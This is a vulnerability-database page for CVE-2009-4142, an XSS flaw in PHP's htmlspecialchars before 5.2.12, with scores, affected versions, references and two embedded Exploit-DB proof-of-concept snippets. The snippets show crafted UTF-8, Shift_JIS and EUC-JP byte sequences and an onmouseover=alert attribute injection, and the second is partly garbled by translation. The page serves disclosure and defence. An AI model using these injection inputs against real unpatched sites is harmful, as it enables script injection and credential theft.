CVE-2009-4142 : Detail

CVE-2009-4142

Cross-site Scripting
A03-Injection
9.05%V3
Network
2009-12-21
15h00 +00:00
2017-09-18
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The htmlspecialchars function in PHP before 5.2.12 does not properly handle (1) overlong UTF-8 sequences, (2) invalid Shift_JIS sequences, and (3) invalid EUC-JP sequences, which allows remote attackers to conduct cross-site scripting (XSS) attacks by placing a crafted byte sequence before a special character.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 33414

Publication date : 2009-12-16 23h00 +00:00
Author : [email protected]
EDB Verified : Yes

source: https://www.securityfocus.com/bid/37389/info PHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. NOTE: In some configurations, attackers may exploit this issue to carry out HTML-injection attacks. Versions prior to PHP 5.2.12 are vulnerable. // overlong UTF-8 sequence echo htmlspecialchars("A\xC0\xAF&", ENT_QUOTES, 'UTF-8'); // invalid Shift_JIS sequence echo htmlspecialchars("B\x80&", ENT_QUOTES, 'Shift_JIS'); echo htmlspecialchars("C\x81\x7f&", ENT_QUOTES, 'Shift_JIS'); // invalid EUC-JP sequence echo htmlspecialchars("D\x80&", ENT_QUOTES, 'EUC-JP'); echo htmlspecialchars("E\xA1\xFF&", ENT_QUOTES, 'EUC-JP'); echo htmlspecialchars("F\x8E\xFF&", ENT_QUOTES, 'EUC-JP'); echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, 'EUC-JP');
Exploit Database EDB-ID : 33415

Publication date : 2009-12-16 23h00 +00:00
Author : [email protected]
EDB Verified : Yes

source: https://www.securityfocus.com/bid/37389/info PHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. NOTE: In some configurations, attackers may exploit this issue to carry out HTML-injection attacks. Versions prior to PHP 5.2.12 are vulnerable. <? php $ _GET [ &#039; a1 &#039; ] = " \xf0 "; // \xf0 - \xfc で可能 $ _GET [ &#039;A1&#039;] = "\ xf0"; / / \ xf0 - \ xfc possible $ _GET [ &#039; a2 &#039; ] = " href=dummy onmouseover=alert(document.title) dummy=dummy "; $ _GET [ &#039;A2&#039;] = "href = dummy onmouseover = alert (document.title) dummy = dummy"; header ( " Content-Type:text/html; charset=Shift_JIS " ) ; header ( "Content-Type: text / html; charset = Shift_JIS"); ?> ? " < html > <Html> < head >< title > Shift_JIS test </ title ></ head > <Head> <title> Shift_JIS test </ title> </ head> < body > <Body> < p >< a <P> <a title = " <?php echo htmlspecialchars ( $ _GET [ &#039; a1 &#039; ] , ENT_QUOTES, &#039; SJIS &#039; ) ?> " title = "<? php echo htmlspecialchars ($ _GET [ &#039;a1&#039;], ENT_QUOTES, &#039;SJIS&#039;)?>" href = " <?php echo htmlspecialchars ( $ _GET [ &#039; a2 &#039; ] , ENT_QUOTES, &#039; SJIS &#039; ) ?> " > test </ a ></ p > href = "<? php echo htmlspecialchars ($ _GET [ &#039;a2&#039;], ENT_QUOTES, &#039;SJIS&#039;)?>"> test </ a> </ p> </ body > </ Body> </ html > </ Html>

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.2.11

Php>>Php >> Version 1.0

Php>>Php >> Version 2.0

Php>>Php >> Version 2.0b10

Php>>Php >> Version 3.0

Php>>Php >> Version 3.0.1

Php>>Php >> Version 3.0.2

Php>>Php >> Version 3.0.3

Php>>Php >> Version 3.0.4

Php>>Php >> Version 3.0.5

Php>>Php >> Version 3.0.6

Php>>Php >> Version 3.0.7

Php>>Php >> Version 3.0.8

Php>>Php >> Version 3.0.9

Php>>Php >> Version 3.0.10

Php>>Php >> Version 3.0.11

Php>>Php >> Version 3.0.12

Php>>Php >> Version 3.0.13

Php>>Php >> Version 3.0.14

Php>>Php >> Version 3.0.15

Php>>Php >> Version 3.0.16

Php>>Php >> Version 3.0.17

Php>>Php >> Version 3.0.18

Php>>Php >> Version 4

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0.0

    Php>>Php >> Version 4.0.1

    Php>>Php >> Version 4.0.1

    Php>>Php >> Version 4.0.1

    Php>>Php >> Version 4.0.2

    Php>>Php >> Version 4.0.3

    Php>>Php >> Version 4.0.3

    Php>>Php >> Version 4.0.4

    Php>>Php >> Version 4.0.4

      Php>>Php >> Version 4.0.5

      Php>>Php >> Version 4.0.6

      Php>>Php >> Version 4.0.7

      Php>>Php >> Version 4.0.7

      Php>>Php >> Version 4.0.7

      Php>>Php >> Version 4.0.7

      Php>>Php >> Version 4.0.7

        Php>>Php >> Version 4.1.0

        Php>>Php >> Version 4.1.1

        Php>>Php >> Version 4.1.2

        Php>>Php >> Version 4.2

          Php>>Php >> Version 4.2.0

          Php>>Php >> Version 4.2.1

          Php>>Php >> Version 4.2.2

          Php>>Php >> Version 4.2.3

          Php>>Php >> Version 4.3.0

          Php>>Php >> Version 4.3.1

          Php>>Php >> Version 4.3.2

          Php>>Php >> Version 4.3.3

          Php>>Php >> Version 4.3.4

          Php>>Php >> Version 4.3.5

          Php>>Php >> Version 4.3.6

          Php>>Php >> Version 4.3.7

          Php>>Php >> Version 4.3.8

          Php>>Php >> Version 4.3.9

          Php>>Php >> Version 4.3.10

          Php>>Php >> Version 4.3.11

          Php>>Php >> Version 4.4.0

          Php>>Php >> Version 4.4.1

          Php>>Php >> Version 4.4.2

          Php>>Php >> Version 4.4.3

          Php>>Php >> Version 4.4.4

          Php>>Php >> Version 4.4.5

          Php>>Php >> Version 4.4.6

          Php>>Php >> Version 4.4.7

          Php>>Php >> Version 4.4.8

          Php>>Php >> Version 4.4.9

          Php>>Php >> Version 5

            Php>>Php >> Version 5.0

              Php>>Php >> Version 5.0

                Php>>Php >> Version 5.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.1

                  Php>>Php >> Version 5.0.2

                  Php>>Php >> Version 5.0.3

                  Php>>Php >> Version 5.0.4

                  Php>>Php >> Version 5.0.5

                  Php>>Php >> Version 5.1.0

                  Php>>Php >> Version 5.1.1

                  Php>>Php >> Version 5.1.3

                  Php>>Php >> Version 5.1.4

                  Php>>Php >> Version 5.1.5

                  Php>>Php >> Version 5.1.6

                  Php>>Php >> Version 5.2.0

                  Php>>Php >> Version 5.2.1

                  Php>>Php >> Version 5.2.2

                  Php>>Php >> Version 5.2.3

                  Php>>Php >> Version 5.2.4

                  Php>>Php >> Version 5.2.5

                  Php>>Php >> Version 5.2.6

                  Php>>Php >> Version 5.2.8

                  Php>>Php >> Version 5.2.9

                  Php>>Php >> Version 5.2.10

                  References

                  http://www.securityfocus.com/bid/37389
                  Tags : vdb-entry, x_refsource_BID
                  http://www.php.net/releases/5_2_12.php
                  Tags : x_refsource_CONFIRM
                  http://bugs.php.net/bug.php?id=49785
                  Tags : x_refsource_CONFIRM
                  http://secunia.com/advisories/40262
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://marc.info/?l=bugtraq&m=127680701405735&w=2
                  Tags : vendor-advisory, x_refsource_HP
                  http://securitytracker.com/id?1023372
                  Tags : vdb-entry, x_refsource_SECTRACK
                  http://secunia.com/advisories/37821
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://secunia.com/advisories/38648
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://www.php.net/ChangeLog-5.php
                  Tags : x_refsource_CONFIRM
                  http://support.apple.com/kb/HT4077
                  Tags : x_refsource_CONFIRM
                  http://www.vupen.com/english/advisories/2009/3593
                  Tags : vdb-entry, x_refsource_VUPEN
                  http://www.debian.org/security/2010/dsa-2001
                  Tags : vendor-advisory, x_refsource_DEBIAN
                  http://marc.info/?l=bugtraq&m=127680701405735&w=2
                  Tags : vendor-advisory, x_refsource_HP